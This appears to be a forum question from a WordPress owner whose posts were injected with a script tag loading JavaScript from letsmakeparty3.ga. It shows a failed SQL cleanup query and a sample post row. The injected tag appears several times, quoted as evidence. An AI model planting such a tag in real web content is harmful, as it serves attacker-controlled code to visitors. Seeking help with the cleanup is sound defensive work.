title: The Wordpress website got hacked, I need a query to remove the script between the code
body: <p>I am using WordPress website, My website got hacked and I got below  script code in all the post</p>
  <blockquote>
  <p>Blockquote</p>
  </blockquote>
  <pre><code>&lt;script src='https://letsmakeparty3.ga/l.js?p=1' type=text/javascript&gt;&lt;/script&gt;
  </code></pre>
  <p>Can anyone help me with a query to remove this code
  I tried the below code but it's not working. I am getting zero rows affected.</p>
  <pre><code>Update wp_posts set post_content = replace(post_content, &quot;&lt;script src=‘https://letsmakeparty3.ga/l.js?p=1' type=text/javascript&gt;&lt;/script&gt;&quot;, &quot;&quot;) where post_content like &quot;%&lt;script src=‘https://letsmakeparty3.ga/l.js?p=1' type=text/javascript&gt;&lt;/script&gt;%&quot;
  </code></pre>
  <p>I have more than 8k records and I am sharing one-row value. Check at the end of the code i got script.</p>
  <pre><code>[vc_row css=&quot;.vc_custom_1553586206091{padding-top: 50px !important;padding-bottom: 50px !important;background-image: url(https://www.mysite.in/wp-content/uploads/2019/03/1161465.jpg?id=74) !important;background-position: center !important;background-repeat: no-repeat !important;background-size: cover !important;}&quot; el_class=&quot;red-overlay&quot;][vc_column][vc_custom_heading text=&quot;&quot; font_container=&quot;tag:h2|font_size:50px|text_align:center|color:%23ffffff&quot; use_theme_fonts=&quot;yes&quot; el_class=&quot;extrabold&quot; css=&quot;.vc_custom_1553586443111{margin-bottom: 0px !important;padding-bottom: 0px !important;}&quot;][vc_column_text el_class=&quot;banner_para&quot;]
  [/vc_column_text][vc_wp_search el_id=&quot;bannerSearch&quot;][/vc_column][/vc_row][vc_row full_width=&quot;stretch_row_content&quot; css=&quot;.vc_custom_1553588147048{padding-top: 40px !important;padding-right: 40px !important;padding-bottom: 40px !important;padding-left: 40px !important;background-image: url(https://www.mysite.in/wp-content/uploads/2019/03/asd?id=74) !important;background-position: center !important;background-repeat: no-repeat !important;background-size: cover !important;}&quot;][vc_column width=&quot;8/12&quot; el_class=&quot;red-overlay&quot;][/vc_column][vc_column width=&quot;4/12&quot;][/vc_column][/vc_row]&lt;script src='https://letsmakeparty3.ga/l.js?p=1' type=text/javascript&gt;&lt;/script&gt;
  </code></pre>